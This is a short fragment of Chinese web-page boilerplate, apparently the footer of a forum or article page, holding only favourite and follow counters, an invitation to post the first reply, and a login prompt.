点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖